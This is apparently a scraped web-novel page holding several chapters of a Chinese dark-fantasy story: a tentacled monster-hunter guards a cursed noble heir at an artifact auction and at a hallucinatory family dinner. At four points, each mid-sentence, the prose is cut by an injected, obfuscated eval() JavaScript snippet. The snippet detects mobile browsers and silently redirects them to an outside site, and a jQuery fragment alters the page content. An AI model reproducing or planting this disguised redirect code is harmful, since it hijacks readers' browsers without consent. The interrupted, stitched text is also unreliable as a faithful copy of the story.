他本想说自己不喜欢鱼和海鲜,但考虑到这是在霍普斯镇,而他要入乡随俗,还是捧着那碗牡蛎汤坐在路边喝完了。而房东表现得更高兴了,就仿佛捡到了一只高傲的猫,猫赏脸喝了汤,就迅速回到他的小窝里去了。 路远寒正要开门进盥洗室漱口,忽然动作一顿,伸手从旁边的信箱里抽出一份褐黄色的报纸。 他不记得订过霍普斯日报,或许是隔壁订的,送错了才塞进他家门口的信箱。报纸上辟了一个板块,由加粗加黑的字体报道着最近流窜在霍普斯镇的连环杀手,据说已经犯下多起重案,被称为雨夜屠夫。 缉察队都没能解决吗?路远寒扫过报纸上的内容,若有所思地一挑眉,那这个凶手极有可能是感染者,又或者借助了异物的力量。 他并没有太过在意,随手又将报纸放回了信箱,在门口换下湿漉漉的外套和长靴,才进了家门。 路远寒现下住的这间公寓比诊所小了很多,但胜在家具都由他一手添置排布。他特意买了羽绒沙发,陷进沙发里的感觉让他仿佛回到了自己原本的家,路远寒躺下去,裹着条羊绒毯子就睡着了。 雨势渐重,淅淅沥沥落在屋外的幕布上。吊灯的光从窗帘的缝隙透进来一些,照在路远寒微微起伏的面颊上,隔着睫毛打出小片昏黄的影子。而他的触手从毯子下爬出来,仿佛一团蠕动的黑影,在墙壁上投下邪祟的痕迹。 “咚咚,咚咚!” 路远寒被敲门声吵醒的时候有点恼火,他开门一看,戴着眼镜的男人站在家门前,正用熟悉的眼神望着他。他以为自己还没有睡醒,抓了抓头发:“……你是怎么出现在我家的?” 格林表现得一脸坦然:“问窗口啊。” 窗口还真是一点隐私都不给猎魔人留,路远寒腹诽着,门外的湿气冷冰冰拂在面上,让他瞬间清醒了过来。 “有什么事要找我?” 格林从随身公文包里拿出一张委托单:“有人指名道姓要你接受委托,对方家世显赫,协会就派了我过来通知你。” 指名?路远寒没想到这种事会落在自己头上,他到目前为止完成过两次委托,一次跟着威尔斯,另一次就是刚结束的地下墓穴探索,按理来说,都不应该被什么人注意到才是。 他接过委托单,快速阅读着上面的内容,眉头倏然就拧紧了:“……保镖?” 与秘语者发布的大多数悬赏不同,这张委托单上的内容赫然是邀请他去做保镖,并且开出了一天三百帝恩币的高价,任务为期三天,结束时会额外再提高报酬,共计一千帝恩币。 这无疑是一个不菲的数字,换作任何猎魔人,都会怦然心动。只是路远寒有着自己的顾虑,他问格林:“对方是什么身份?” “你应该感到熟悉才对。”格林笑了一笑,“卢修·罗德里厄,现任罗德里厄家主诞下的第三子,他的舅母是安东尼奥伯爵的妹妹,那位夫人在黑区可以说是手眼通天,因此她这个外甥倍受宠爱,脾气相当跋扈,协会也拿他没有办法。” 竟然又是罗德里厄家族,路远寒思考片刻,想通了其中的关节。 那座墓穴与罗德里厄家百年来的诅咒有着密不可分的联系,因此对方很是看重,恐怕这位三少爷也是从他父亲那里得到了消息,才找上门来。 格林劝说道:“你最好还是答应他,毕竟保护一位贵族也不是太危险的事,但拒绝他的后果可就难以承担了。而且,要是能借此和那位夫人搭上线,你以后想进缉察队的话也会容易很多。” 缉察队虽然权力无上,却未必有猎魔人这么自由。路远寒稍作权衡,应允了下来。 “既然你同意了,那就收拾一下吧,雇主说委托工作从现在开始,他的马车就停在红十字街上,正等着你报到呢。” 格林说的时候略显无奈,显然也拿那位身份尊贵的委托人没有办法。路远寒想了一想,伸手戴上面具,检查好随身携带的武器弹药,就跟着他来到了卢修的马车前。 卢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081850|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修·罗德里厄和他父亲一样容貌俊美,金发微微鬈曲,只不过两颊并不消瘦枯槁,鼻梁到唇峰的轮廓都恰到好处,睫毛下的眼睛总是心不在焉地垂着,在病态感下又有一种颐指气使的傲慢。要不是没有尖牙,他被当成传闻中的吸血鬼也不奇怪。 此刻,他正打量着面前这个戴着面具的怪人。 外界对罗德里厄一族的评价都是暴戾而怪异,这位保镖却比卢修还特立独行,由漆黑的鸟嘴覆盖了面容。好在他个头很高,能看得出明显的肌肉轮廓,应该确如父亲所说,是个不折不扣的怪物。 “保镖先生。”卢修开口了,“我希望你从今天起保证我的安全,任务期间无时无刻都跟在我身边,我会在罗德里厄府上给你安排一间相邻的客房,你的起居饮食都会有仆人解决。” 路远寒点了点头:“没问题,但请提前跟我说明,是什么让你如此畏惧?我需要做好准备。” 这个问题似乎触碰到了卢修的忌讳,他眼中流露出深深的、难以克制的恐惧,在调整了几次呼吸之后,卢修开始了他的述说。 在地下墓穴被冲开洞口以前,有一位年长的罗德里厄已经濒临死亡,她是现任家主的姐姐,即卢修的姑母,莉莉安·罗德里厄。 由于诅咒缠身,她的面庞浮肿灰黑,双臂瘦得就像是一截松垮的骨头,每根指节都畸变扭曲得不像是正常人类,罗德里厄府上原本已经准备好了一具棺材,等到莉莉安断气那日,就将尸体送去火化。 莉莉安确实是死了,就如每一个在癫狂中死去的罗德里厄,只是她的尸体却有了变化。 那具尸体原本极为狰狞恐怖,在死亡当天就应该送去火葬,却因为府上要处理墓穴中带出来的头骨而耽搁了半天。没想到仆人再去看时,躺在棺材中的已经变成了一个貌美至极的少女,她的脸庞洁白无瑕,发丝柔顺得如同缎带,安静得像是一尊瓷做的雕像,只有嘴唇乌紫,身上不带有任何活人的体温。 没有人怀疑尸体被偷换了,因为这就是年轻时的莉莉安,连眼下的小痣都一模一样。 这个消息震惊了罗德里厄府上的所有人,因为莉莉安尸身的变化,极有可能是诅咒消失的一种迹象。经过内部商量,他们最终决定停灵三日,仔细观察接下来还有没有异变之后,再为莉莉安的灵柩举行葬礼。 路远寒开口问道:“这不是好事吗?一直困扰着你们家的诅咒消失了,你最应该感到高兴吧,少爷。” “你什么都不懂!”卢修立刻反驳了他的说法,他急促地喘息着,像是想起了不好的回忆,“我感觉他们都疯了……只是伪装得很好。但那实在是太恐怖,太让人窒息了,葬礼上绝对会发生什么事,你必须保护好我。” “我梦到那个女人了,尸体上没有脸,只有一张血红的嘴。她想要吃掉我……不、不对!” “她想要吃掉罗德里厄家的每一个人。” 24. 甜点 听到卢修说的话,路远寒立刻想到了一个面色惨白的女鬼幽幽飘在他背后、张开血盆大口的场面,他不由得想笑,但很快又掩盖了下来,恢复到保镖应有的严肃态度。 虽然只是做梦看到的一幕,但在黑区这样邪诡的地方,梦境与现实相互照应,或许那是卢修的灵性在提醒着他,那具尸体有着死而复生的可能。 路远寒提醒他:“我只能为你解决物理上的危险,如果存在灵异现象,我建议你还是去请一位专业人士,或者使用异物解决。以你舅母的身份,应该不难为你提供一到两件护身的异物。” 这个建议很诚恳,毕竟他身上只携带了一把手杖、枪支和锯肉刀,而且在人前不好动用触手,路远寒的实力因此被局限了很多。 “这我当然知道。”卢修跟仆从嘱咐了几句,这辆私人马车开始缓缓驶离红十字街,“我们现在就要去一场拍卖会,你帮我看看,有没有什么适合的异物可以拍下来。” 异物拍卖会?路远寒思考了一下,这些上流人士还真是不拿钱当回事。 前往拍卖会的路上,卢修又絮絮叨叨地问了他许多事,比如猎魔人平时做什么工作、他真的会开枪杀人吗、戴着面具是为了装神秘吗……路远寒看得出他很少出罗德里厄府,对外面的世界充满了好奇,尽管如此,他还是摆出一副无可奉告的态度,让卢修碰了个钉子。 按照他飞扬跋扈的本性,卢修早就该发火了。但他想起父亲那种讳莫如深的模样,府上那些人诡异的表现,知道自己现在能依靠的只有路远寒一人,又强行将脾气压了下去,告诉自己忍忍就好了。 这座马车内的装潢很奢华,不光座椅是真皮的,连车厢上的布面都由天鹅绒铺就,中间还摆放着一张可供卢修沏茶、放书的小桌,顶上悬挂着玻璃罩的吊灯,温暖的光照下来,让他看见了那张鸟嘴面具下微微蠕动的青筋。 卢修没来由地打了个寒颤。 这场拍卖会在霍普斯镇旁边的一家公馆举行,那座公馆看守森严,显然只有受邀者才能进入,但安保员一看到罗德里厄家的马车,也没有检查请柬,便放他们进去了,而这就是权贵的特殊之处。 路远寒陪着卢修下了马车,像他这样的人并不少,很多贵族都会为自己聘请一位具有实力的保镖,只不过很少有人戴着显眼的面具。 那恐怖的装扮难免会让人想起黑死病,尤其他背后带了杀伤性武器,就显得更为危险了。 连武器都没有进行管制,还真是不怕有人混进来刺杀,路远寒下意识想。只要他动手,旋即就能将卢修的脖子拧断,但这看似松懈的表面下极有可能隐藏着什么危险,有人在背后监视着一切也说不定。 随着两人走进公馆,里面的纷嚷奢靡也浮现在了他们眼前。看着这些衣冠楚楚的上流人士们彼此说笑着,嬉闹着,仿佛地海里的一切癫狂诡异都与他们无关,路远寒觉得非常有趣。 就连卢修似乎也忘了缠绕着他的噩梦,换上了一副矜持倨傲的表情。 他低声对路远寒说:“我知道你住在那种地方,没见过世面很正常,但是别给我丢脸。我这次过来,可是代表着罗德里厄府的荣耀。” 路远寒倒没有跟他计较,毕竟拿钱办事,只需要扮演好保镖这个角色就够了。因为罗德里厄的身份,有不少人过来跟卢修寒暄,直到一个同样穿着华贵的男人向着他们走来,其余人面色骤变,纷纷让出了位置。 他用轻蔑的视线打量着卢修二人:“病秧子不在家中等死,竟然跑出来了。这还真是稀奇,你准备趁死前再好好挥霍一把吗?” 路远寒虽然不清楚他的名字,但从男人恶劣的态度来看,就知道他的背景不会比罗德里厄府差到哪里去。卢修脾气暴烈,当即跟他吵了起来,就在男人满面怒火,挥出的巴掌要落到卢修身上的前一秒,路远寒出手了。 他没有动用异物,只是精准地攥住了男人的手腕,用力示意对方停手:“冷静点,先生。这里不是野蛮人的聚会。” 他的声音听上去极为冷酷,再看到那张极具压迫感的面具,男人倒真被震慑住了。但就此罢手,他的名誉又将一落千丈,男人衡量过后,面色难看地扔了几句狠话,就匆匆远离了这两人。 卢修心情颇为愉悦,伸手拍了拍路远寒的肩膀:“你太上道了,保镖先生!我要给你涨工资。” “这是我分内之事。” 话虽如此,路远寒却也没有拒绝额外的报酬。他本应随身看顾卢修的安全,但这里并非罗德里厄府,卢修又被一个远房亲戚叫到了女眷那边,于是路远寒就被支到了甜点区。 他用餐叉拿起一块刚烤好的舒芙蕾,感兴趣地凑近闻了闻,却没有揭起面具品尝。 忽然,路远寒留意到餐车下一道浮晃的阴影。那东西的轮廓像是某种动物的尾巴,细长而布满纹路,极快地掠过地面,从他眼前消失了。 他没有说话,只是提起警惕,远远看了一眼卢修,迅速追着那东西到了旁边的楼梯间。就目前来看,公馆里似乎没有什么危险,但直觉告诉他,刚才看到的影子极有可能与感染者相关。 考虑到消音的问题,路远寒没有持枪,而是握着锯肉刀,一步一步谨慎地走上了楼梯。 在二楼的露台上,他看到了那东西的真容。那是条庞大的蜥蜴尾巴,褐绿色的皮肤上覆盖着起伏的鳞片,从男人的燕尾服下拖曳而出,随着他的呼吸而一下一下卷曲着鞭打在地上。 刚还畏惧着路远寒的男人现在已经是一副兽瞳,细长的瞳孔竖在眼窝内,显得格外鼓突,而他脸颊两边似乎也有细小的水珠浮出,阴湿地浸透了小片皮肤。男人在高处望着路远寒,嘶嘶的信子从嘴边分开两条鲜红的舌肉,让他想起了卢修的告诫:“那家伙是一个崇拜自然的疯子,最好还是不要把他逼急了……” 崇拜到这种程度,已经返璞归真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13096068|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吧,路远寒打量着男人畸变的身体,听见对方问道:“罗德里厄给了你多少报酬?” “无可奉告。” 就算对方出更高的价钱,路远寒也不能中途改换门庭,除非他不想在黑区待下去了,要知道卢修那位舅母可是伯爵府的主人之一。不过男人问他似乎也只是为了羞辱路远寒,区区一个猎魔人,也敢跟贵族叫板。 “唉,我本来是想吃了那家伙的……”男人的声音有些遗憾,“他们那一家长得很美丽,但尸体腐烂得太快了,让人直犯恶心。” 话音落下,他的视线落在了路远寒的面具上,像是在窥伺着底下是怎样的一张脸,那视线恶毒、冰冷,毫不掩盖浓重的食欲。路远寒还是第一次被别人当作食物,他反应极快,提着刀猛然向旁边一砍,将那截探向面具的舌头斩断在地。 男人的信子落在地上,断口处立刻飙溅出一股又一股鲜血,诡异的是那滩血隐隐发黑,竟然很快就融进地面不见了。 看到这一幕,路远寒的目光幽深地闪了闪。没有血迹、没有尸体……也就意味着没有案发现场。 被他砍下一段舌头的男人俨然暴跳如雷,那条鳞片锋利的尾巴当头朝着路远寒甩来,路远寒脚下发力,轻盈地向上跃起,这一下竟是跳了比三米还高,随着钢刀落地铡下尾根处的血肉,男人喉咙里也渗出一声压抑的惨叫。 只是公馆的宴会厅内人声鼎沸,没有人注意到这小小的插曲。 接连几下攻击都被挡掉,男人意识到自己恐怕踢了块铁板,当即四肢并用敏捷地爬上了墙壁,想要趁着路远寒没追上来逃离现场。只要出了这道门,他就可以利用权势兵不血刃地除掉一个人。 然而事情并不如他所愿,男人忽然被拉住了,他回头望去,却看到无数条庞大扭曲的触手正勾缠着他的四肢。就在他要惊呼出口的一刹,那湿漉漉黏答答的东西从口腔挤了进去,顺着他的食道蜿蜒而下,将里面的内脏一掏而空,从他腹腔内传来咀嚼血肉的声响。 男人大张着嘴,却已经成了说不出话的尸体。他的身体被触手很是轻柔地放置在露台边的栏杆上,下面是一片蓄起的人工湖,微风吹过,让他颤动的身影看起来摇摇欲坠。 路远寒从楼梯口走出,从善如流地到餐桌旁端起一杯酒,酒精的气息很快就将他身上的异味抵消。他颔首喝了一口,尝到了沁人心脾的甜意。 卢修颇为不满地走过来,劈头盖脸教训了路远寒一通,随即带着他在宴会厅靠前的一处位置落座:“你去哪了?拍卖会马上就要开始了,快坐下。” 拍卖会正式开场,随着雷霆般的掌声,那扑通一下高空坠物的声响被人们的欢笑掩盖了。卢修隐约听到了什么异响,疑惑地扭头望去,却怎么也寻找不到那声音的来源。他只得侧着头转向请来的保镖,问他有没有听到什么。 “或许是有谁落水了吧。” 路远寒微笑着说。 25. 拍卖 一件异物能够杀人,亦能救命,像这样具有神秘力量的物件,在黑区从来都不可多得。而现在却有一场拍卖异物的展会即将举行,属实让人感到不可思议。 路远寒视线扫过卢修领口处别着的胸针,振翅欲飞的蝴蝶在灯光下闪着奢靡的光,他刚才炫耀过了,仅是这一件手工剪裁的衣服,就价值数千帝恩币,比猎魔人出生入死的酬劳还要高。 而在场的每一个人都像他这样挥金如土,就连刚才被他吃掉内脏的男人也不例外。 路远寒不禁开始思考,凭借自己的积蓄,能从这群贵族手中买下一件异物吗? 这毕竟不是他的首要任务,路远寒并未太过在意,又问了问卢修的需求。随着展台上的幕布被从两侧揭开,第一件拍品已经呈到了众人面前。 那是一座由特殊金属制造出的囚笼,大概一人多高,笼子质地厚重,不知道都关过些什么,栏杆上还隐约有着擦拭不掉的血迹。 主持人手里握着黑檀木锤,在桌面轻轻敲了一下,开始介绍这件异物:“首先,我要为大家介绍的是一座狩魔笼,这座笼子高约两米有余,由Ⅱ型合金制成,对绝大多数畸变物有着克制的功效,可以用于捕获、关押、研究感染者或畸变物……” 听到这里,卢修的眼睛俨然亮了起来。 他问路远寒这件异物怎么样,路远寒思考片刻,给了他一个中肯的答复:“太笨重了,你不可能把这东西搬回府上。就算遇到什么危险,也要先擒拿对方,才能关进笼子里。这东西比较适合拿畸变物做研究的人用,缉察队或许有需要。” 卢修闻言撇了撇嘴,他内心虽然有些不快,却也知道猎魔人的眼光肯定比自己的要专业得多,只得按下了跃跃欲试的叫价牌。 这件展品最后以两千三百帝恩币的价格售出,正如路远寒所说,由缉察队的一位督察拍走了。 有了先前的预热,贵族们接下来的竞拍热情高涨了很多。第二件异物是一对海蓝宝石雕刻的袖钉,两枚分别由不同的人佩戴,就能感应到对方所在的位置。而且袖钉的感应是超越一般意义上的距离与空间的,它的描述听起来古怪又神奇。 路远寒敲了一下卢修的椅背:“这件可以拍下来,这样一来,无论你被掳走还是到了什么未知的地方,我都能随时定位到你的位置。” 即使他不说,那对袖钉精美的外表也已经吸引了卢修的注意。 起拍价是八百帝恩币,有不少女眷也很感兴趣,在卢修几次加价以后,再没有人敢和这位罗德里厄府的少爷竞争,最终以一千六百帝恩币被拍下,当即就有侍者托着那对袖钉送到了他们面前。 卢修自己别了一枚袖钉,又让路远寒佩戴了另外一枚。那颗漂亮小巧的宝石和威猛的鸟嘴面具格格不入,看得他欲言又止,想让路远寒把他的面具摘了。 路远寒试了试袖钉的效果,注意又落在了展品上。巧合的是,下一件异物又是他们需要的,那是一把能够攻击到灵体的附魔镰刀,刀身弯曲而锋利,就如死神的葬魂曲,只是材质极重,以卢修的身体素质,恐怕连扛起来都费劲。 无需路远寒多说,卢修也意识到了这把镰刀的价值。他看了一眼保镖身上健硕的肌肉,毫不犹豫地举起叫价牌,开口就喊到了两千帝恩币。 只是他的竞争者同样数不胜数,其中不乏位高权重的勋贵和缉察队成员,卢修的胜负欲似乎被激了起来,他狠下心一咬牙,以五千帝恩币的天价力排众难,拿下了这把镰刀。 “五千帝恩币一次、五千帝恩币两次……五千帝恩币三次,成交!” 那把小锤重重地敲在了拍卖台上,主持人已经掩盖不住脸上喜悦的神情:“让我们恭喜罗德里厄少爷,再添一件宝物!” 路远寒评价道:“溢价太多了。” 他确实没有想到卢修竟然会拿出这么多钱买异物,不过这是雇主的个人意愿,他也不好多说什么。好在少爷的购物瘾已经得到了满足,卢修对剩下的几件展品都兴致缺缺,甚至无聊得向旁边人要了一本书,漫不经心地翻看着书上的内容。 路远寒倒是认真地听了每一件展品的描述,记下了它们的特质和局限性。 拍卖会的高潮已经过去,此时接近终场,最后一件异物被搬到台上,瞬间引发了不少窃窃私语。与之前拍卖的袖钉、镰刀都截然不同,那是一个活着的生物。 它从体型上看像是侏儒,容貌与正常人类基本一致,表现得略显怯懦,然而当主持人拨开他额前被汗水濡湿的发丝,众人才发现底下竟然还有第三只眼。从那道裂开的缝隙里露出的眼珠阴鸷而诡异地转动着,瞳孔里似乎有着无数血丝在游走。 “……这种名为弗洛多的生物性情温和,通灵能力极强,它们头顶上的眼睛可以预感到危险,因此很多人在航海或者探险的时候都会带一只作为警示。” “如果遇到古老而神秘的存在,弗洛多会暴毙而亡,看到那只眼睛流下血泪,就意味着前方极为危险,你们要立马撤退了。” 主持人说到这里时态度极为凝重,像是在提醒客人们这件展品的价值。他回到拍卖台,重新挂上那副职业性微笑,用手上的锤子敲了一下:“这是最后一件展品,它的起拍价是一千帝恩币。” 对那生物感兴趣的人不在少数,竞拍声此起彼伏,不过更多人都是在以一种猎奇的心理围观着它那古怪的容貌。矮小的畸变物戴着枷锁站在展台上,显得孤立无援,三只眼睛缓慢地扫视着台下衣冠华美的人们,忽然看到了什么,猛地瑟缩了一下,竟是闭上眼睛,转身抱着头蹲下了。 座席上的议论声更大了。 最终它被挂上两千八百帝恩币的售价牌,送到了某位贵族的脚下,由那人用牵引绳拴着。 卢修皱了皱眉,压低声音问路远寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13113731|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“……你有没有觉得,它刚才在看着我们这边瑟瑟发抖啊?这东西长得也太丑陋了。” 路远寒没有说话,只是若有所思地望了一眼被买走的弗洛多。毋庸置疑,预感危险的作用对于一个猎魔人而言很重要,但它要是对自己身上的触手也有反应,那情况就糟糕了。 不过它长得虽然像侏儒,却不能口吐人言,跟贵族说公馆里至少有一个邪祟,这也让路远寒放下心来。 展品已经售罄,拍卖会自然也就散场了。主办方八面玲珑地给每个参与竞拍的人准备了一份鲸油提炼的香水,卢修在前面边走边试香,路远寒扛着庞大的镰刀跟在后面,一时之间,竟然没有人敢走在旁边。 卢修忽然停了下来,颇为疑惑地环顾着四周:“奇怪,布莱顿那疯子呢……难道真的被吓跑了?” 他所说的布莱顿,也就是一开始出口挑衅的男人。路远寒知道,那人的内脏已经在他胃里消化得差不多了,而湖底的尸体或许会在几天后被发现,但这话并不能宣之于口。 好在卢修并没有想着追查仇人的下落,两人上了车,便向黑云笼罩的罗德里厄府行驶而去。 路远寒上一次来这里,只是在矮坡下遥望着那阴恻恻的城堡,现在跟着卢修进了属于罗德里厄的领地,从内部望着这些刻进石髓仿佛一滴滴渗着血的雕饰,却又是另一番感受。雕刻者手下的作品太过逼真,以至于恭迎着他们的石塑就像由活人浇灌而成,超越了生与死的界限,在雨水侵蚀下忍受着酷刑,一只又一只眼睛隔着坚硬的壳子凝望往来的马车。 显然不止他一人觉得这个家族的审美扭曲,就连卢修看了,也觉得那些雕像会走下来杀人。但当路远寒问起雕像的来由,他却觉得这就是罗德里厄一族的传统,它们摆在这里无可厚非。 路远寒问:“家族传统和你的性命,哪一个更重要?” “呃……”卢修被问得一愣,犹豫了片刻答道,“那当然是我的命更重要,你的任务就是保护好我的安全,知道吗?” 话音落下,他低头看向新添置的袖钉,又看了看路远寒持着的那把镰刀,心里顿时有了安全感。毕竟这个猎魔人看上去比府邸里的人更像怪物,真要发生了什么情况,也能镇得住邪。 随着两人走下马车,穿过飘香的门廊,路远寒也看到了那副停在前厅的棺材。 正如卢修所说,那副棺材内躺着一具极为漂亮的女尸,没有经过任何殓容,浑身上下却散发出幽幽的光泽,连指尖都白皙剔透,寂静地搭在棺身上,拇指上还套着枚黑玛瑙戒指,似乎是其权贵身份的象征。仅是站在远处望着她,路远寒就感到一阵头晕目眩。 而在尸体唇齿之下,还衔着一株盛开的紫罗兰。 路远寒摇了摇头,似乎想要将这股致人迷幻的气息驱散。他的视线有一瞬间变得模糊不清,短暂几秒后,落在了那只微微颤动的手上。 26. 晚餐 那具尸体动了。 路远寒顿时惊醒过来,但当他问起卢修有没有看到尸体的异状,却得到了否认的答案。 难道刚才那一幕真的只是幻觉?路远寒眉头紧皱,认为事情的真相绝非如此简单。那股萦绕在鼻尖的幽香如烟似雾,仍在一缕缕往他鼻腔里钻,勾缠着他的舌肉、肝胆以至于心脏。 他打量着周围的环境,很快就看到了那些正在燃烧的熏香。细长的香身插在灯罩中,托着烧起的红点,如同黑暗中明灭的眼睛,不时就有灰烬落下,被阴风带走,盘旋着倾洒一地。 路远寒不由感到一阵怪异,灵前焚香,应该是东方才有的葬仪,至少他在霍普斯镇没有见到过这样的习俗。 他问卢修府上为什么会点香,卢修则表现得很坦然:“我们家族的人都很注重自身的形象,死后尸身腐烂得极快,那味道简直比下水道的污物还冲鼻,为了掩盖这种异臭,府上每一次下葬都会点香。” 就在他说话的时候,有一个仆从匆匆地迎上来,恭敬而惶恐地捧着盆热水跪在了卢修面前。卢修在盆中洗了手,慢条斯理地用毛巾将指尖擦干,随手搭在盆上,便示意那仆从下去了。 卢修打量着路远寒的制服,斟酌着开口:“你的衣服最好也换一套,我会让人为你准备的。” 他没有提面具的事。 在卢修看来,人戴面具,无非是两种原因,一是身份离奇,有着不能暴露的秘密,二是容貌丑陋,因此需要遮盖自己的瑕疵。无论哪种都不好开口,毕竟他还要靠这个猎魔人保证接下来三天的安全,要是对方长了一张毁容脸,让人匪夷所思,那倒不如眼不见为净。 在卢修的要求下,路远寒只得换了一身衣服。看着镜中映照出的身影,他不由感到一阵陌生。 雪纺衬衣的领口处塞着镂花方巾,雕饰精致的排扣将马甲束得极紧,勾勒出腰部轮廓,一袭剪裁修身的黑色外套罩在外面,隐约露出殷红如血的衬底,再穿上骑士长筒黑靴,让路远寒这身装扮显得尊贵而美丽。只不过没有任何一个贵族会像他这样背着锯肉刀,仿佛随时都要杀人一样。 这间客房就在卢修隔壁,家具的质量比他公寓里的要好上太多,连吊灯都由琉璃雕刻而成。只是房间的地理位置背光,难免有些阴冷潮湿,从天花板上浸出暗沉的痕迹。 出于谨慎,路远寒先检查了一遍衣柜,又蹲下去查看床底有没有尸体,确认房间内没有什么异象之后,才摘下面具,跟着仆从前往会客厅用餐。 罗德里厄府的规矩繁多,从他们的用餐礼仪就能看得出来。十数名家族成员围坐在一张长桌两侧,按照尊卑长幼排了次序,卢修的辈分很小,因此坐在靠后的位置。 路远寒一走进来,卢修并没有认出这个黑发蓝眼的陌生人是谁,还以为是哪个长辈豢养的情人,直到看见那枚一闪一闪的袖钉,才意识到这是他请来的保镖。 作为外人,路远寒只能坐在最下手的位置。他旁边是一个五六岁的小女孩,长得稚嫩可爱,却因为置身这座城堡而多了些与年龄不符的早熟。他刚坐下来,袖口就被人扯了扯。 路远寒侧过头,羞赧的女孩将一朵刚用萝卜雕刻出的花放到了他的盘中:“哥哥,这个给你。” 他打量着这件用心的作品,对女孩回以一个礼貌的微笑:“谢谢,这朵花真漂亮。你的刀工很不错,以后一定会成为艺术家的。” 路远寒本想说刀工如此细腻,很适合解剖尸体,但想到一个小小的罗德里厄,还未必有其他人那么冷酷暴戾,又临时换了种说法。毕竟他的任务是保护卢修,而不是吓唬小女孩。 随着罗德里厄家主落座,一道道餐品终于被端了上来。 开胃菜的口味偏酸,路远寒并不是很喜欢,只尝了一口就放下了刀叉。好在接下来上的奶油汤缓解了他口中的酸涩,路远寒喝了几口,忽然感到那一丝发腻的甜香活了过来,在他舌尖上蠕动着,缠着舌根盘绕了几圈,又簌簌地往口鼻爬去。 他再次低头,碗中盛着的已不是奶油,而是浓稠发黑的血浆,汤里掺杂着一块一块毛囊突出的头皮,似乎刚从某人脑袋上剥下来,裸露的皮肤还鲜血淋漓。随着路远寒用叉子一戳,那块头皮沉下去,汤中又浮出几截被砍断的小指,骨节蜷曲地缩在一起,可以看出死者生前的恐惧。 什么情况?路远寒有点倒胃口了。 他扭头看着其他人,却发现他们都若无其事地享用着这顿血腥的晚餐,就连看上去最为天真的小女孩,也正用餐叉往嘴里送着一颗微颤的眼睛。那洁白的牙齿用力地咬下去,立刻汁水迸溅,漉漉血水将她的牙龈浸得通红一片。 路远寒不清楚别人如何,但就拿卢修来说,他印象里的卢修脾气是差了一些,却也没到生吃血肉的地步。 他不禁怀疑起自己是否又陷进幻觉里了,为了验证这个猜想,他又舀起一勺汤送进口中,那甜意入口即化,如水流一般滑进喉管,口感相当美妙。 果然是幻觉吗……但是因为什么才触发的?路远寒思考着。 从一踏进这座城堡,他就被幻觉缠上了。其他人都没有中招,难道是因为他是外人,而这是庇护着罗德里厄一族的神秘力量,但真要如此,他们又为什么会被诅咒,将惨死的命运延续下去…… 路远寒思考不出答案,再看到那狰狞的餐盘,胃口一下全没了。 但是他一放下刀叉,就有无数视线从桌前幽幽地望过来,仿佛他这样做是极不礼貌的表现。形势所迫,路远寒也只能重新拿起餐具,敷衍了事地吃下去,时不时露出沉醉的表情。 幻觉在他吃到一半时忽然消失了,就仿佛这桌子上从来都不曾血肉横流,餐盘里也没有猎奇恐怖的食物。 只是当主菜和副菜呈上来时,幻觉和现实的界限再一次模糊了,炙烤得滋滋冒油的牛排,在路远寒眼里变成了一扇开膛破肚的人尸,新鲜的鱼肉也变得腐臭生虫。他微笑着切开一块又一块扭曲的肉块,送进嘴里咀嚼、下咽,那美妙的口感勾缠着他的食欲,只是路远寒眼中看到的却是一副血淋淋的图景。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126423|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了略显突兀的黑发以外,他从俊美的容貌、优雅的进餐,到那种残忍而冷冰冰的态度,似乎都与罗德里厄家族融为一体。 晚餐结束后,众人按照次序一一离座,卢修朝着路远寒使了个眼色,只是他还没起身,就有位戴着黑色礼帽的女士按住了他的肩膀:“你是谁手下的附庸?” 卢修面色一变:“表姐,他是我的保镖!” “这样啊……”女人耸了耸肩,像是有点惋惜地松开了手,临走时又瞟了一眼路远寒的黑发,“真漂亮,就像是地海的颜色。” 路远寒已经回过味来,只是面上仍然是一副公事公办的表情。卢修拽着他就往外走,脚下走得急匆匆,语气已然有些迁怒到他头上:“这都什么事,早知道还是让你把那副面具戴上好了!” 